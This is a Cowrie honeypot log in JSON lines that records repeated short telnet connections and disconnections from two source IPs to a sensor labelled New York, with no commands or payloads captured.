{"eventid":"cowrie.session.closed","duration":30.975785732269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.031022Z","src_ip":"208.115.200.90","session":"b9e99d73f9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338027477264404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.227526Z","src_ip":"208.115.200.90","session":"cabcc6918724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00560235977173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.250554Z","src_ip":"208.115.219.122","session":"ec7cab219a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa4976df70c","protocol":"telnet","message":"New connection: 208.115.200.90:37776 (10.17.0.5:23) [session: eaa4976df70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.309847Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37792,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d2e9fce82e","protocol":"telnet","message":"New connection: 208.115.200.90:37792 (10.17.0.5:23) [session: 19d2e9fce82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.321362Z"}
{"eventid":"cowrie.session.closed","duration":30.723485946655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.366224Z","src_ip":"208.115.200.90","session":"bd7f63664e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d06d2738c1","protocol":"telnet","message":"New connection: 208.115.200.90:37796 (10.17.0.5:23) [session: b0d06d2738c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.371683Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37812,"dst_ip":"10.17.0.5","dst_port":23,"session":"53054f44ca86","protocol":"telnet","message":"New connection: 208.115.200.90:37812 (10.17.0.5:23) [session: 53054f44ca86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.400348Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51500,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24f30d90d83","protocol":"telnet","message":"New connection: 208.115.219.122:51500 (10.17.0.5:23) [session: b24f30d90d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.536559Z"}
{"eventid":"cowrie.session.closed","duration":31.484465837478638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.557174Z","src_ip":"208.115.200.90","session":"81a524f8de39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37892,"dst_ip":"10.17.0.5","dst_port":23,"session":"14aa8a6a84a2","protocol":"telnet","message":"New connection: 208.115.200.90:37892 (10.17.0.5:23) [session: 14aa8a6a84a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.628739Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37920,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f314ec43902","protocol":"telnet","message":"New connection: 208.115.200.90:37920 (10.17.0.5:23) [session: 9f314ec43902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.675481Z"}
{"eventid":"cowrie.session.closed","duration":31.557519912719727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.711401Z","src_ip":"208.115.200.90","session":"ff119be41877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824831008911133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.764724Z","src_ip":"208.115.200.90","session":"2ad6e1ea7c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289294481277466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.786757Z","src_ip":"208.115.219.122","session":"5ff4b2dcc029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.859506607055664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.886859Z","src_ip":"208.115.219.122","session":"eba22deff268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33466386795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.029992Z","src_ip":"208.115.219.122","session":"875685507fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51666,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c35dbb2634d","protocol":"telnet","message":"New connection: 208.115.219.122:51666 (10.17.0.5:23) [session: 2c35dbb2634d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.045368Z"}
{"eventid":"cowrie.session.closed","duration":30.96089482307434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.060547Z","src_ip":"208.115.219.122","session":"7e8d9d6c82b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37930,"dst_ip":"10.17.0.5","dst_port":23,"session":"d528576882ff","protocol":"telnet","message":"New connection: 208.115.200.90:37930 (10.17.0.5:23) [session: d528576882ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.065788Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51670,"dst_ip":"10.17.0.5","dst_port":23,"session":"18bcfd27008c","protocol":"telnet","message":"New connection: 208.115.219.122:51670 (10.17.0.5:23) [session: 18bcfd27008c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.069964Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51684,"dst_ip":"10.17.0.5","dst_port":23,"session":"540172ad2385","protocol":"telnet","message":"New connection: 208.115.219.122:51684 (10.17.0.5:23) [session: 540172ad2385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.073836Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51698,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf129072e64","protocol":"telnet","message":"New connection: 208.115.219.122:51698 (10.17.0.5:23) [session: baf129072e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.077760Z"}
{"eventid":"cowrie.session.closed","duration":30.71140694618225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.094137Z","src_ip":"208.115.200.90","session":"843b226d4aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91163b828ef","protocol":"telnet","message":"New connection: 208.115.219.122:51706 (10.17.0.5:23) [session: f91163b828ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.174361Z"}
{"eventid":"cowrie.session.closed","duration":31.01097273826599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.180685Z","src_ip":"208.115.200.90","session":"96f9e7b38988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"61189a231b33","protocol":"telnet","message":"New connection: 208.115.200.90:38000 (10.17.0.5:23) [session: 61189a231b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.280512Z"}
{"eventid":"cowrie.session.closed","duration":31.1254460811615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.321359Z","src_ip":"208.115.200.90","session":"c27e315affc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588101625442505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.343631Z","src_ip":"208.115.200.90","session":"e8f14b4b8547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46604,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d190533fd5","protocol":"telnet","message":"New connection: 208.115.200.90:46604 (10.17.0.5:23) [session: 16d190533fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.360885Z"}
{"eventid":"cowrie.session.closed","duration":30.830737352371216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.392051Z","src_ip":"208.115.200.90","session":"ca6cf7982726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384764432907104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.418743Z","src_ip":"208.115.200.90","session":"9a243d73e88f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18220043182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.437657Z","src_ip":"208.115.219.122","session":"83461dcdd8d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962239980697632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.443441Z","src_ip":"208.115.200.90","session":"c305df03dd04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46636,"dst_ip":"10.17.0.5","dst_port":23,"session":"1720c3b6030a","protocol":"telnet","message":"New connection: 208.115.200.90:46636 (10.17.0.5:23) [session: 1720c3b6030a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.446930Z"}
{"eventid":"cowrie.session.closed","duration":31.385822534561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.471619Z","src_ip":"208.115.219.122","session":"1e0402633342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166975736618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:14.597847Z","src_ip":"208.115.200.90","session":"4f7665ecaf22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51794,"dst_ip":"10.17.0.5","dst_port":23,"session":"24e01b9dc2fa","protocol":"telnet","message":"New connection: 208.115.219.122:51794 (10.17.0.5:23) [session: 24e01b9dc2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.014341Z"}
{"eventid":"cowrie.session.closed","duration":30.478224992752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.031403Z","src_ip":"208.115.219.122","session":"2fc2a0cfcae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.334614753723145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.038622Z","src_ip":"208.115.219.122","session":"ed122393a40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24287486076355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.050352Z","src_ip":"208.115.219.122","session":"76d3f7571883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18790864944458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.070069Z","src_ip":"208.115.200.90","session":"91415a2f1fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6143798828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.080785Z","src_ip":"208.115.219.122","session":"241dc5b89711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52fe87242de","protocol":"telnet","message":"New connection: 208.115.200.90:46864 (10.17.0.5:23) [session: a52fe87242de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.126034Z"}
{"eventid":"cowrie.session.closed","duration":31.04428005218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.148847Z","src_ip":"208.115.200.90","session":"260c01d83ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a871a118a4","protocol":"telnet","message":"New connection: 208.115.200.90:46868 (10.17.0.5:23) [session: 65a871a118a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.353059Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46896,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebbd37751abf","protocol":"telnet","message":"New connection: 208.115.200.90:46896 (10.17.0.5:23) [session: ebbd37751abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.550415Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c55be3b41c","protocol":"telnet","message":"New connection: 208.115.219.122:45286 (10.17.0.5:23) [session: b9c55be3b41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.585930Z"}
{"eventid":"cowrie.session.closed","duration":31.493634939193726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.821478Z","src_ip":"208.115.200.90","session":"121a3e33be04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125704526901245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:15.927353Z","src_ip":"208.115.200.90","session":"5b23e0ff8ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45336,"dst_ip":"10.17.0.5","dst_port":23,"session":"3881939f5869","protocol":"telnet","message":"New connection: 208.115.219.122:45336 (10.17.0.5:23) [session: 3881939f5869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.034442Z"}
{"eventid":"cowrie.session.closed","duration":30.95807409286499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.057970Z","src_ip":"208.115.200.90","session":"3f17290e057f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45364,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f7c7b67020","protocol":"telnet","message":"New connection: 208.115.219.122:45364 (10.17.0.5:23) [session: 49f7c7b67020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.105795Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8c9a2ec300","protocol":"telnet","message":"New connection: 208.115.200.90:46996 (10.17.0.5:23) [session: ce8c9a2ec300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.146640Z"}
{"eventid":"cowrie.session.closed","duration":31.100892543792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.196321Z","src_ip":"208.115.200.90","session":"3d4248376056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91cfa77e1d4","protocol":"telnet","message":"New connection: 208.115.200.90:47004 (10.17.0.5:23) [session: e91cfa77e1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.202756Z"}
{"eventid":"cowrie.session.closed","duration":31.205666065216064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.275133Z","src_ip":"208.115.219.122","session":"34b8270909ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47046,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf157ed25dd6","protocol":"telnet","message":"New connection: 208.115.200.90:47046 (10.17.0.5:23) [session: bf157ed25dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.340071Z"}
{"eventid":"cowrie.session.closed","duration":31.343843698501587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.374955Z","src_ip":"208.115.200.90","session":"ce45b4dc3c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857739448547363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.389449Z","src_ip":"208.115.200.90","session":"635e2314c56f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303176879882812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.408582Z","src_ip":"208.115.200.90","session":"eab5d8ea7b13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22993230819702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.442950Z","src_ip":"208.115.219.122","session":"c07eb98ad1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325449466705322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.624549Z","src_ip":"208.115.200.90","session":"489a8802c6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47304,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e57e3457f51","protocol":"telnet","message":"New connection: 208.115.200.90:47304 (10.17.0.5:23) [session: 8e57e3457f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.707598Z"}
{"eventid":"cowrie.session.closed","duration":31.574928283691406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.740234Z","src_ip":"208.115.200.90","session":"f9ba12f773d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47342,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d155277048","protocol":"telnet","message":"New connection: 208.115.200.90:47342 (10.17.0.5:23) [session: 19d155277048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:16.787606Z"}
{"eventid":"cowrie.session.closed","duration":31.39249897003174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.021889Z","src_ip":"208.115.200.90","session":"5a0f2e479662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7256977558136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.034872Z","src_ip":"208.115.219.122","session":"7dee5b24afbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45510,"dst_ip":"10.17.0.5","dst_port":23,"session":"d423d789b174","protocol":"telnet","message":"New connection: 208.115.219.122:45510 (10.17.0.5:23) [session: d423d789b174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.046210Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45518,"dst_ip":"10.17.0.5","dst_port":23,"session":"3380417865c0","protocol":"telnet","message":"New connection: 208.115.219.122:45518 (10.17.0.5:23) [session: 3380417865c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.069452Z"}
{"eventid":"cowrie.session.closed","duration":31.002893209457397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.083457Z","src_ip":"208.115.200.90","session":"c31b1874a198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45524,"dst_ip":"10.17.0.5","dst_port":23,"session":"5efeafa2af13","protocol":"telnet","message":"New connection: 208.115.219.122:45524 (10.17.0.5:23) [session: 5efeafa2af13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.152351Z"}
{"eventid":"cowrie.session.closed","duration":31.098891258239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.157652Z","src_ip":"208.115.200.90","session":"32e4ec2ddf17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"74b9bf44a47e","protocol":"telnet","message":"New connection: 208.115.219.122:45366 (10.17.0.5:23) [session: 74b9bf44a47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.225114Z"}
{"eventid":"cowrie.session.closed","duration":31.151952743530273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.296446Z","src_ip":"208.115.219.122","session":"c4a972bee3f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207597494125366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.301504Z","src_ip":"208.115.219.122","session":"e6dee3e76b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40473437309265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.344873Z","src_ip":"208.115.200.90","session":"80723a0bfcdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86951780319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.394996Z","src_ip":"208.115.200.90","session":"b2f4dc5723a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"030fbc945a31","protocol":"telnet","message":"New connection: 208.115.200.90:47508 (10.17.0.5:23) [session: 030fbc945a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.460532Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47294,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcfac31aeea8","protocol":"telnet","message":"New connection: 208.115.200.90:47294 (10.17.0.5:23) [session: dcfac31aeea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:17.736547Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45618,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab0607dbd02","protocol":"telnet","message":"New connection: 208.115.219.122:45618 (10.17.0.5:23) [session: bab0607dbd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.050112Z"}
{"eventid":"cowrie.session.closed","duration":30.537731170654297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.096372Z","src_ip":"208.115.219.122","session":"7787df458b85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4624f9365f2","protocol":"telnet","message":"New connection: 208.115.200.90:47534 (10.17.0.5:23) [session: a4624f9365f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.129923Z"}
